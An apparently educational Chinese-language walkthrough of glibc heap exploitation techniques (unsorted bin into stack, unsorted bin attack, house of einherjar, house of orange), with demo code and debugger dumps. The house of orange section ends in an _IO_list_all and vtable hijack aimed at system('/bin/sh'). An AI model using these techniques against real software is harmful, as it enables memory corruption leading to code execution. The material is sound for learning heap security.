0x12 unsorted_bin_into_stack

unsorted-bin-into-stack 通过改写 unsorted bin 里 chunk 的 bk 指针到任意地址,从而在栈上 malloc 出 chunk。

首先,我们得先malloc 一块 chunk,然后 free 掉,将他放到 unsorted bin里。再这之前,我们也得 malloc 一块 作为缓冲的chunk ,避免目标chunk free 掉后被放入到 topchunk里。

9   intptr_t* victim = malloc(0x100);
   10
   11   fprintf(stderr, "Allocating another chunk to avoid consolidating the top chunk with the small one during the free()\n");
   12   intptr_t* p1 = malloc(0x100);
   13
   14   fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
   15   free(victim);

这个时候 victim 就被放入到了 unsortedbin里

PwnLife> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x7ffff7dd1b58 (main_arena+88) —▸ 0x602000 ◂— 0x7ffff7dd1b58
smallbins
empty
largebins
empty

紧接着,我们在栈上 fake 一个chunk。

19   stack_buffer[1] = 0x100 + 0x10;
   20   stack_buffer[3] = (intptr_t)stack_buffer;

PwnLife> p stack_buffer
$3 = {0x0, 0x110, 0x0, 0x7fffffffe3f0}
PwnLife> p &stack_buffer
$4 = (intptr_t (*)[4]) 0x7fffffffe3f0

让伪造的 chunk 的bk 指向自身。

然后我们假设,此时有一个 堆溢出漏洞,可以修改 victim chunk的内容。

24   fprintf(stderr, "Size should be different from the next request size to return fake_chunk and need to pass the check 2*SIZE_SZ (> 16 on x64) && < av->system_mem\n");
   25   victim[-1] = 32;
   26   victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack
   27   //------------------------------------

我们通过 溢出漏洞修改 victim chunk 的bk,但此前,我们得 pass 一个check

Size should be different from the next request size to return fake_chunk and need to pass the check 2*SIZE_SZ (> 16 on x64) && < av->system_mem

   25   victim[-1] = 32;
   26   victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack

之后,

PwnLife> p victim
$6 = (intptr_t *) 0x602010
PwnLife> x/20gx victim
0x602010:   0x00007ffff7dd1b58  0x00007fffffffe3f0
0x602020:   0x0000000000000000  0x0000000000000000
0x602030:   0x0000000000000000  0x0000000000000000
0x602040:   0x0000000000000000  0x0000000000000000
0x602050:   0x0000000000000000  0x0000000000000000
0x602060:   0x0000000000000000  0x0000000000000000
0x602070:   0x0000000000000000  0x0000000000000000
0x602080:   0x0000000000000000  0x0000000000000000
0x602090:   0x0000000000000000  0x0000000000000000
0x6020a0:   0x0000000000000000  0x0000000000000000
PwnLife> x/20gx victim-2
0x602000:   0x0000000000000000  0x0000000000000020
0x602010:   0x00007ffff7dd1b58  0x00007fffffffe3f0   <--- fd,bk /bk --> fake chunk
0x602020:   0x0000000000000000  0x0000000000000000
0x602030:   0x0000000000000000  0x0000000000000000
0x602040:   0x0000000000000000  0x0000000000000000
0x602050:   0x0000000000000000  0x0000000000000000
0x602060:   0x0000000000000000  0x0000000000000000
0x602070:   0x0000000000000000  0x0000000000000000
0x602080:   0x0000000000000000  0x0000000000000000
0x602090:   0x0000000000000000  0x0000000000000000
PwnLife> x/20gx 0x00007fffffffe3f0                 <--- fake chunk
0x7fffffffe3f0: 0x0000000000000000  0x0000000000000110
0x7fffffffe400: 0x0000000000000000  0x00007fffffffe3f0
0x7fffffffe410: 0x00007fffffffe500  0x3fe51d8840ce6c00
0x7fffffffe420: 0x0000000000400860  0x00007ffff7a303f1
0x7fffffffe430: 0x0000000000040000  0x00007fffffffe508
0x7fffffffe440: 0x00000001f7b9a488  0x0000000000400686
0x7fffffffe450: 0x0000000000000000  0xda692c6b09ba7393
0x7fffffffe460: 0x0000000000400590  0x00007fffffffe500
0x7fffffffe470: 0x0000000000000000  0x0000000000000000
0x7fffffffe480: 0x2596d314d11a7393  0x2596c3ad1e287393

那么此时就相当于 fake chunk 已经被链接到 unsorted bin 中。在下一次 malloc 的时候,malloc 会顺着 bk 指针进行遍历,于是就找到了大小正好合适的 fake chunk:

PwnLife> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x7ffff7dd1b68 (main_arena+104) —▸ 0x602000 ◂— 0x7ffff7dd1b68
smallbins
0x20: 0x7ffff7dd1b68 (main_arena+104) —▸ 0x602000 ◂— 0x7ffff7dd1b68
largebins
empty

fake chunk 被取出,而 victim chunk 被从 unsorted bin 中取出来放到了 small bin 中。另外值得注意的是 fake chunk 的 fd 指针被修改了,这是 unsorted bin 的地址,通过它可以泄露 libc 地址,这正是下面 unsorted bin attack 会讲到的。

29   fprintf(stderr, "Now next malloc will return the region of our fake chunk: %p\n", &stack_buffer[2]);
   30   intptr_t* fake = malloc(0x100); // malloc a new chunk from fake chunk.
   31   fprintf(stderr, "malloc(0x100): %p\n", fake);

PwnLife> x/20gx fake-2
0x7fffffffe3f0: 0x0000000000000000  0x0000000000000110   <-- chunk
0x7fffffffe400: 0x00007ffff7dd1b58  0x00007fffffffe3f0     <---fd ,bk //new fd ---> 0x7ffff7dd1b58
0x7fffffffe410: 0x00007fffffffe500  0x29b3145efbaf1600
0x7fffffffe420: 0x0000000000400860  0x00007ffff7a303f1
0x7fffffffe430: 0x0000000000040000  0x00007fffffffe508
0x7fffffffe440: 0x00000001f7b9a488  0x0000000000400686
0x7fffffffe450: 0x0000000000000000  0x595c9e280b1d3a76
0x7fffffffe460: 0x0000000000400590  0x00007fffffffe500
0x7fffffffe470: 0x0000000000000000  0x0000000000000000
0x7fffffffe480: 0xa6a36157d3bd3a76  0xa6a371ee1c8f3a76

0x13 unsorted_bin_attack

unsorted bin 攻击通常是为更进一步的攻击做准备的,我们知道 unsorted bin 是一个双向链表,在分配时会通过 unlink 操作将 chunk 从链表中移除,所以如果能够控制 unsorted bin chunk 的 bk 指针,就可以向任意位置写入一个指针。这里通过 unlink 将 libc 的信息写入到我们可控的内存中,从而导致信息泄漏,为进一步的攻击提供便利。

unlink 的对 unsorted bin 的操作是这样的:

/* remove from unsorted list */
          unsorted_chunks (av)->bk = bck;
          bck->fd = unsorted_chunks (av);

首先,分配 两个 chunk,释放第一个 使其加入到 unstorted bin

PwnLife> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x7ffff7dd1b58 (main_arena+88) —▸ 0x602000 ◂— 0x7ffff7dd1b58
smallbins
empty
largebins
empty

紧接着,我假设我们有堆溢出漏洞

25   p[1]=(unsigned long)(&stack_var-2);
   26   fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
   27   fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]);

去修改,可以让我们修改 chunk 1 的数据。然后我们将 chunk 1 的 bk 指针修改为指向目标地址 - 2,也就相当于是在目标地址处有一个 fake free chunk

PwnLife> p p
$1 = (unsigned long *) 0x602010
PwnLife> x/20gx p
0x602010:   0x00007ffff7dd1b58  0x00007ffff7dd1b58
0x602020:   0x0000000000000000  0x0000000000000000
0x602030:   0x0000000000000000  0x0000000000000000
0x602040:   0x0000000000000000  0x0000000000000000
0x602050:   0x0000000000000000  0x0000000000000000
0x602060:   0x0000000000000000  0x0000000000000000
0x602070:   0x0000000000000000  0x0000000000000000
0x602080:   0x0000000000000000  0x0000000000000000
0x602090:   0x0000000000000000  0x0000000000000000
0x6020a0:   0x0000000000000000  0x0000000000000000
PwnLife> x/20gx p[1]
0x7ffff7dd1b58 <main_arena+88>: 0x00000000006023a0  0x0000000000000000
0x7ffff7dd1b68 <main_arena+104>:    0x0000000000602000  0x0000000000602000
0x7ffff7dd1b78 <main_arena+120>:    0x00007ffff7dd1b68  0x00007ffff7dd1b68
0x7ffff7dd1b88 <main_arena+136>:    0x00007ffff7dd1b78  0x00007ffff7dd1b78
0x7ffff7dd1b98 <main_arena+152>:    0x00007ffff7dd1b88  0x00007ffff7dd1b88
0x7ffff7dd1ba8 <main_arena+168>:    0x00007ffff7dd1b98  0x00007ffff7dd1b98
0x7ffff7dd1bb8 <main_arena+184>:    0x00007ffff7dd1ba8  0x00007ffff7dd1ba8
0x7ffff7dd1bc8 <main_arena+200>:    0x00007ffff7dd1bb8  0x00007ffff7dd1bb8
0x7ffff7dd1bd8 <main_arena+216>:    0x00007ffff7dd1bc8  0x00007ffff7dd1bc8
0x7ffff7dd1be8 <main_arena+232>:    0x00007ffff7dd1bd8  0x00007ffff7dd1bd8

此时,chunk 1的 bk已经被修改

PwnLife> heap
0x602000 PREV_INUSE {
  prev_size = 0,
  size = 417,
  fd = 0x7ffff7dd1b58 <main_arena+88>,
  bk = 0x7fffffffe3c8,
  fd_nextsize = 0x0,
  bk_nextsize = 0x0
}

然后我们 malloc 一块新 chunk,这个时候,系统为循着 bk去 malloc一块新chunk

PwnLife> x/20gx &stack_var-2
0x7fffffffe3c8: 0x000000000040081a  0x0000000000400880           <--- fake chunk
0x7fffffffe3d8: 0x00007ffff7dd1b58  0x0000000000602010               <--- fd
0x7fffffffe3e8: 0x3cc687447353a200  0x0000000000400880
0x7fffffffe3f8: 0x00007ffff7a303f1  0x0000000000040000
0x7fffffffe408: 0x00007fffffffe4d8  0x00000001f7b9a488
0x7fffffffe418: 0x0000000000400686  0x0000000000000000
0x7fffffffe428: 0x577f97b5f5d4f6ba  0x0000000000400590
0x7fffffffe438: 0x00007fffffffe4d0  0x0000000000000000
0x7fffffffe448: 0x0000000000000000  0xa88068ca2cd4f6ba
0x7fffffffe458: 0xa8807873e386f6ba  0x0000000000000000

0x14 house_of_einherjar

house of einherjar 是一种堆利用技术,由 Hiroki Matsukuma 提出。该堆利用技术可以强制使得 malloc 返回一个几乎任意地址的 chunk 。

它要求有一个单字节溢出漏洞,覆盖掉 next chunk 的 size 字段并清除 PREV_IN_USE 标志,然后还需要覆盖 prev_size 字段为 fake chunk 的大小。

首先,我们先 malloc 一个chunk

a = (uint8_t*) malloc(0x38);

然后,我们fake一个chunk ,用来之后 free 掉 next chunk的时候,让合并后的堆块到 fake chunk 处,那下一次 malloc 将返回我们想要的地址。

pwndbg> p fake_chunk
$1 = {256, 256, 140737488348080, 140737488348080, 140737488348080, 140737488348080}
pwndbg> x/20gx &fake_chunk
0x7fffffffe3b0: 0x0000000000000100  0x0000000000000100
0x7fffffffe3c0: 0x00007fffffffe3b0  0x00007fffffffe3b0
0x7fffffffe3d0: 0x00007fffffffe3b0  0x00007fffffffe3b0
0x7fffffffe3e0: 0x00007fffffffe4d0  0x3c402f70cff21400
0x7fffffffe3f0: 0x0000000000400bf0  0x00007ffff7a303f1
0x7fffffffe400: 0x0000000000040000  0x00007fffffffe4d8
0x7fffffffe410: 0x00000001f7b9a488  0x00000000004006d6
0x7fffffffe420: 0x0000000000000000  0x86f4a78e4a5b6ea9
0x7fffffffe430: 0x00000000004005e0  0x00007fffffffe4d0
0x7fffffffe440: 0x0000000000000000  0x0000000000000000

然后,在 malloc 一个 chunk

b = (uint8_t*) malloc(0xf8);

紧接着,我们假设有个 堆溢出漏洞。

66   fprintf(stderr, "\nb.size: %#lx\n", *b_size_ptr);
   67   fprintf(stderr, "b.size is: (0x100) | prev_inuse = 0x101\n");
   68   fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");
   69   a[real_a_size] = 0;

修改掉 chunk b 的size

0x603040 PREV_INUSE {
  prev_size = 0,
  size = 256,  // 257 --> 256
  fd = 0x0,
  bk = 0x0,
  fd_nextsize = 0x0,
  bk_nextsize = 0x0
}

然后还得让 prev_size 字段为 fake chunk 的大小

pwndbg> p fake_chunk
$8 = {256, 18446603336227507344, 140737488348080, 140737488348080, 140737488348080, 140737488348080}

chunk b的 prev_size 字段,用 chunk b 的起始地址减去 fake chunk 的起始地址,同时为了绕过检查,还需要将 fake chunk 的 size 字段与 chunk b 的 prev_size 字段相匹配:

size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);

chunk b

0x603040 {
  prev_size = 18446603336227507344,  // 0 -> 18446603336227507344
  size = 256,
  fd = 0x0,
  bk = 0x0,
  fd_nextsize = 0x0,
  bk_nextsize = 0x0
}

然后我们 free 掉 chunk b

88     fprintf(stderr, "Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n");
   89     free(b);
   90     fprintf(stderr, "Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);

然后,我们会发现 top chunk 变了,top chunk -> fake_chunk

pwndbg> p main_arena
$9 = {
  mutex = 0,
  flags = 1,
  fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
  top = 0x7fffffffe3b0,
  last_remainder = 0x0,
  bins = {0x7ffff7dd1b58 <main_arena+88>, 0x7ffff7dd1b58 <main_arena+88>, 0x7ffff7dd1b68 <main_arena+104>, 0x7ffff7dd1b68 <main_arena+104>, 0x7ffff7dd1b78 <main_arena+120>, 0x7ffff7dd1b78 <main_arena+120>, 0x7ffff7dd1b88 <main_arena+136>, 0x7ffff7dd1b88 <main_arena+136>, 0x7ffff7dd1b98 <main_arena+152>, 0x7ffff7dd1b98 <main_arena+152>, 0x7ffff7dd1ba8 <main_arena+168>, 0x7ffff7dd1ba8 <main_arena+168>, 0x7ffff7dd1bb8 <main_arena+184>, 0x7ffff7dd1bb8 <main_arena+184>, 0x7ffff7dd1bc8 <main_arena+200>...},
  binmap = {0, 0, 0, 0},
  next = 0x7ffff7dd1b00 <main_arena>,
  next_free = 0x0,
  attached_threads = 1,
  system_mem = 135168,
  max_system_mem = 135168
}
pwndbg> p &fake_chunk
$10 = (size_t (*)[6]) 0x7fffffffe3b0

由于,我们释放 chunk b,这时因为 PREV_INUSE 为零,unlink 会根据 prev_size 去寻找上一个 free chunk,并将它和当前 chunk 合并。

这意味着,当我们 再去 malloc 一块 新chunk的时候,将会是 fake chunk 的位置。

103     fprintf(stderr, "\nNow we can call malloc() and it will begin in our fake chunk\n");
   104     d = malloc(0x200);

如下:

pwndbg> x/20gx fake_chunk
0x7fffffffe3b0: 0x0000000000000100  0x0000000000000211
0x7fffffffe3c0: 0x00007fffffffe3b0  0x00007fffffffe3b0
0x7fffffffe3d0: 0x00007fffffffe3b0  0x00007fffffffe3b0
0x7fffffffe3e0: 0x00007fffffffe4d0  0xc6f3cea232483100
0x7fffffffe3f0: 0x0000000000400bf0  0x00007ffff7a303f1
0x7fffffffe400: 0x0000000000040000  0x00007fffffffe4d8
0x7fffffffe410: 0x00000001f7b9a488  0x00000000004006d6
0x7fffffffe420: 0x0000000000000000  0x0575c70b1ba71a36
0x7fffffffe430: 0x00000000004005e0  0x00007fffffffe4d0
0x7fffffffe440: 0x0000000000000000  0x0000000000000000
pwndbg> p d
$14 = (uint8_t *) 0x7fffffffe3c0 "\260\343\377\377\377\177"

值得一提的是,这里绕过 unlink 检查的时候,直接:

p->fd = p
p->bk = p

0x15 house of orange

House of Orange的核心在于在没有free函数的情况下得到一个释放的堆块(unsorted bin)。 这种操作的原理简单来说是当前堆的top chunk尺寸不足以满足申请分配的大小的时候,原来的top chunk会被释放并被置入unsorted bin中,通过这一点可以在没有free函数情况下获取到unsorted bins。

我们知道一开始的时候,整个堆都属于 top chunk,每次申请内存时,就从 top chunk 中划出请求大小的堆块返回给用户,于是 top chunk 就越来越小。当某一次 top chunk 的剩余大小已经不能够满足请求时,就会调用函数 sysmalloc() 分配新内存,这时可能会发生两种情况,一种是直接扩充 top chunk,另一种是调用 mmap 分配一块新的 top chunk。具体调用哪一种方法是由申请大小决定的,为了能够使用前一种扩展 top chunk,需要请求小于阀值 mp_.mmap_threshold:

if ((unsigned long)(nb) >= (unsigned long)(mp_.mmap_threshold) && (mp_.n_mmaps < mp_.n_mmaps_max))

如果所需分配的 chunk 大小大于 mmap 分配阈值,默认为 128K,并且当前进程使用 mmap()分配的内存块小于设定的最大值,将使用 mmap()系统调用直接向操作系统申请内存。

为了能够调用 sysmalloc() 中的 _int_free(),需要 top chunk 大于 MINSIZE,即 0x10

当然,还得绕过下面两个限制条件:

/*
     If not the first time through, we require old_size to be
     at least MINSIZE and to have prev_inuse set.
   */

  assert ((old_top == initial_top (av) && old_size == 0) ||
          ((unsigned long) (old_size) >= MINSIZE &&
           prev_inuse (old_top) &&
           ((unsigned long) old_end & (pagesize - 1)) == 0));

  /* Precondition: not enough current space to satisfy nb request */
  assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));

即满足 old_size 小于 nb+MINSIZE,PREV_INUSE 标志位为 1,old_top+old_size 页对齐这几个条件。

我们总结一下伪造的top chunk size的要求

1.伪造的size必须要对齐到内存页

2.size要大于MINSIZE(0x10)

3.size要小于之后申请的chunk size + MINSIZE(0x10)

4.size的prev inuse位必须为1

之后原有的top chunk就会执行_int_free从而顺利进入unsorted bin中。

在这个例子中:

我们首先 malloc 一个 0x400 的chunk

p1 = malloc(0x400-16);

PwnLife> heap
0x602000 PREV_INUSE {
  prev_size = 0,
  size = 1025,  // hex(1025) == 0x401
  fd = 0x0,
  bk = 0x0,
  fd_nextsize = 0x0,
  bk_nextsize = 0x0
}

通常情况下 ,top chunk 大小为 0x21000,减去 0x400,所以此时的大小为 0x20c00,另外 PREV_INUSE 被设置。

PwnLife> top_chunk
0x602400 PREV_INUSE {
  prev_size = 0,
  size = 134145,
  fd = 0x0,
  bk = 0x0,
  fd_nextsize = 0x0,
  bk_nextsize = 0x0
}
PwnLife> x/20gx 0x602400
0x602400:   0x0000000000000000  0x0000000000020c01  <--- top chunk // size
0x602410:   0x0000000000000000  0x0000000000000000
0x602420:   0x0000000000000000  0x0000000000000000
0x602430:   0x0000000000000000  0x0000000000000000
0x602440:   0x0000000000000000  0x0000000000000000
0x602450:   0x0000000000000000  0x0000000000000000
0x602460:   0x0000000000000000  0x0000000000000000
0x602470:   0x0000000000000000  0x0000000000000000
0x602480:   0x0000000000000000  0x0000000000000000
0x602490:   0x0000000000000000  0x0000000000000000
PwnLife>

此时,我们假设有溢出漏洞:

72     top = (size_t *) ( (char *) p1 + 0x400 - 16);
  73     top[1] = 0xc01;

将top chunk 的size 改为 0xc01 ,这样就能满足上面总结的条件。

之后,我们申请的 0x1000 size 的 chunk

p2 = malloc(0x1000);

0x1000 > 0xc01 , 又由于 top chunk 的伪造满足条件,紧接着原有的 top chunk 会被放到 unsorted bins里

PwnLife> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x7ffff7dd1b58 (main_arena+88) —▸ 0x602400 ◂— 0x7ffff7dd1b58
smallbins
empty
largebins
empty

我们看下此时 heap 的情况

PwnLife> x/4gx p1-0x10+0x400
0x602400:   0x0000000000000000  0x0000000000000be1     <--- old top chunk
0x602410:   0x00007ffff7dd1b58  0x00007ffff7dd1b58
PwnLife> x/4gx p1-0x10+0x400+0xbe0
0x602fe0:   0x0000000000000be0  0x0000000000000010     <----  fencepost chunk 1
0x602ff0:   0x0000000000000000  0x0000000000000011     <----  fencepost chunk 2
PwnLife> x/4gx p2-0x10
0x623000:   0x0000000000000000  0x0000000000001011     <----  chunk p2 
0x623010:   0x0000000000000000  0x0000000000000000
PwnLife> x/4gx p2-0x10+0x1010
0x624010:   0x0000000000000000  0x0000000000020ff1     <---- new top chunk
0x624020:   0x0000000000000000  0x0000000000000000
PwnLife> unsortedbin
unsortedbin
all: 0x7ffff7dd1b58 (main_arena+88) —▸ 0x602400 ◂— 0x7ffff7dd1b58
PwnLife>

另外可以看到 old top chunk 被缩小了 0x20,缩小的空间被用于放置 fencepost chunk。

根据放入 unsorted bin 中 old top chunk 的 fd/bk 指针,可以推算出 _IO_list_all 的地址。然后通过溢出将 old top 的 bk 改写为 _IO_list_all-0x10,这样在进行 unsorted bin attack 时,就会将 _IO_list_all 修改为 &unsorted_bin-0x10:

top[3] = io_list_all - 0x10;



0x602400 PREV_INUSE {
  prev_size = 0,
  size = 3041,
  fd = 0x7ffff7dd1b58 <main_arena+88>,
  bk = 0x7ffff7dd24f0,
  fd_nextsize = 0x0,
  bk_nextsize = 0x0
}

PwnLife> x/20gx 0x7ffff7dd24f0
0x7ffff7dd24f0: 0x0000000000000000  0x0000000000000000
0x7ffff7dd2500 <_IO_list_all>:  0x00007ffff7dd2520  0x0000000000000000
0x7ffff7dd2510: 0x0000000000000000  0x0000000000000000
0x7ffff7dd2520 <_IO_2_1_stderr_>:   0x00000000fbad2887  0x00007ffff7dd25a3
0x7ffff7dd2530 <_IO_2_1_stderr_+16>:    0x00007ffff7dd25a3  0x00007ffff7dd25a3
0x7ffff7dd2540 <_IO_2_1_stderr_+32>:    0x00007ffff7dd25a3  0x00007ffff7dd25a3
0x7ffff7dd2550 <_IO_2_1_stderr_+48>:    0x00007ffff7dd25a3  0x00007ffff7dd25a3
0x7ffff7dd2560 <_IO_2_1_stderr_+64>:    0x00007ffff7dd25a4  0x0000000000000000
0x7ffff7dd2570 <_IO_2_1_stderr_+80>:    0x0000000000000000  0x0000000000000000
0x7ffff7dd2580 <_IO_2_1_stderr_+96>:    0x0000000000000000  0x00007ffff7dd2600

这里,会顺便涉及到 glibc 的异常处理.

一般在出现内存错误时,会调用函数 malloc_printerr() 打印出错信息

static void
malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr)
{
  [...]
  if ((action & 5) == 5)
    __libc_message (action & 2, "%s\n", str);
  else if (action & 1)
    {
      char buf[2 * sizeof (uintptr_t) + 1];

      buf[sizeof (buf) - 1] = '\0';
      char *cp = _itoa_word ((uintptr_t) ptr, &buf[sizeof (buf) - 1], 16, 0);
      while (cp > buf)
        *--cp = '0';

      __libc_message (action & 2, "*** Error in `%s': %s: 0x%s ***\n",
                      __libc_argv[0] ? : "<unknown>", str, cp);
    }
  else if (action & 2)
    abort ();
}

当调用 __libc_message:

// sysdeps/posix/libc_fatal.c
/* Abort with an error message.  */
void
__libc_message (int do_abort, const char *fmt, ...)
{
  [...]
  if (do_abort)
    {
      BEFORE_ABORT (do_abort, written, fd);

      /* Kill the application.  */
      abort ();
    }
}

do_abort 调用 fflush,即 _IO_flush_all_lockp:

// stdlib/abort.c
#define fflush(s) _IO_flush_all_lockp (0)

  if (stage == 1)
    {
      ++stage;
      fflush (NULL);
    }

// libio/genops.c
int
_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  struct _IO_FILE *fp;
  int last_stamp;

#ifdef _IO_MTSAFE_IO
  __libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
  if (do_lock)
    _IO_lock_lock (list_all_lock);
#endif

  last_stamp = _IO_list_all_stamp;
  fp = (_IO_FILE *) _IO_list_all;   // 将其覆盖
  while (fp != NULL)
    {
      run_fp = fp;
      if (do_lock)
    _IO_flockfile (fp);

      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
       || (_IO_vtable_offset (fp) == 0
           && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                    > fp->_wide_data->_IO_write_base))
#endif
       )
      && _IO_OVERFLOW (fp, EOF) == EOF)     // 将其修改为 system 函数
    result = EOF;

      if (do_lock)
    _IO_funlockfile (fp);
      run_fp = NULL;

      if (last_stamp != _IO_list_all_stamp)
    {
      /* Something was added to the list.  Start all over again.  */
      fp = (_IO_FILE *) _IO_list_all;
      last_stamp = _IO_list_all_stamp;
    }
      else
    fp = fp->_chain;    // 指向我们指定的区域
    }

#ifdef _IO_MTSAFE_IO
  if (do_lock)
    _IO_lock_unlock (list_all_lock);
  __libc_cleanup_region_end (0);
#endif

  return result;
}

_IO_list_all 是一个 _IO_FILE_plus 类型的对象,我们的目的就是将 _IO_list_all 指针改写为一个伪造的指针,它的 _IO_OVERFLOW 指向 system,并且前 8 字节被设置为 '/bin/sh',所以对 _IO_OVERFLOW(fp, EOF) 的调用最终会变成对 system('/bin/sh') 的调用。

// libio/libioP.h
/* We always allocate an extra word following an _IO_FILE.
   This contains a pointer to the function jump table used.
   This is for compatibility with C++ streambuf; the word can
   be used to smash to a pointer to a virtual function table. */

struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};

// libio/libio.h
struct _IO_FILE {
  int _flags;        /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;    /* Current read pointer */
  char* _IO_read_end;    /* End of get area. */
  char* _IO_read_base;    /* Start of putback+get area. */
  char* _IO_write_base;    /* Start of put area. */
  char* _IO_write_ptr;    /* Current put pointer. */
  char* _IO_write_end;    /* End of put area. */
  char* _IO_buf_base;    /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

其中有一个指向函数跳转表的指针,_IO_jump_t 的结构如下:

// libio/libioP.h
struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};

伪造 _IO_jump_t 中的 __overflow 为 system 函数的地址,从而达到执行 shell 的目的。

当发生内存错误进入 _IO_flush_all_lockp 后,_IO_list_all 仍然指向 unsorted bin,这并不是一个我们能控制的地址。所以需要通过 fp->_chain 来将 fp 指向我们能控制的地方。所以将 size 字段设置为 0x61,因为此时 _IO_list_all 是 &unsorted_bin-0x10,偏移 0x60 位置上是 smallbins[5]。此时,如果触发一个不适合的 small chunk 分配,malloc 就会将 old top 从 unsorted bin 放回 smallbins[5] 中。而在 _IO_FILE 结构中,偏移 0x60 指向 struct _IO_marker _markers,偏移 0x68 指向 struct _IO_FILE _chain,这两个值正好是 old top 的起始地址。这样 fp 就指向了 old top,这是一个我们能够控制的地址。

在将 _IO_OVERFLOW 修改为 system 的时候,有一些条件检查:

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
       || (_IO_vtable_offset (fp) == 0
           && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                    > fp->_wide_data->_IO_write_base))
#endif
       )
      && _IO_OVERFLOW (fp, EOF) == EOF)     // 需要修改为 system 函数
// libio/libio.h

  struct _IO_wide_data *_wide_data;

/* Extra data for wide character streams.  */
struct _IO_wide_data
{
  wchar_t *_IO_read_ptr;    /* Current read pointer */
  wchar_t *_IO_read_end;    /* End of get area. */
  wchar_t *_IO_read_base;    /* Start of putback+get area. */
  wchar_t *_IO_write_base;    /* Start of put area. */
  wchar_t *_IO_write_ptr;    /* Current put pointer. */
  wchar_t *_IO_write_end;    /* End of put area. */
  wchar_t *_IO_buf_base;    /* Start of reserve area. */
  wchar_t *_IO_buf_end;        /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  wchar_t *_IO_save_base;    /* Pointer to start of non-current get area. */
  wchar_t *_IO_backup_base;    /* Pointer to first valid character of
                   backup area */
  wchar_t *_IO_save_end;    /* Pointer to end of non-current get area. */

  __mbstate_t _IO_state;
  __mbstate_t _IO_last_state;
  struct _IO_codecvt _codecvt;

  wchar_t _shortbuf[1];

  const struct _IO_jump_t *_wide_vtable;
};

所以这里我们设置 fp->_mode = 0,fp->_IO_write_base = (char ) 2 和 fp->_IO_write_ptr = (char ) 3,从而绕过检查。

fp->_mode = 0; // top+0xc0
fp->_IO_write_base = (char *) 2; // top+0x20
fp->_IO_write_ptr = (char *) 3; // top+0x28

然后,就是修改 _IO_jump_t,将其指向 winner:

248     size_t *jump_table = &top[12]; // controlled memory
   249     jump_table[3] = (size_t) &winner;
   250     *(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8



PwnLife>  x/30gx p1-0x10+0x400
0x602400:   0x0068732f6e69622f  0x0000000000000061
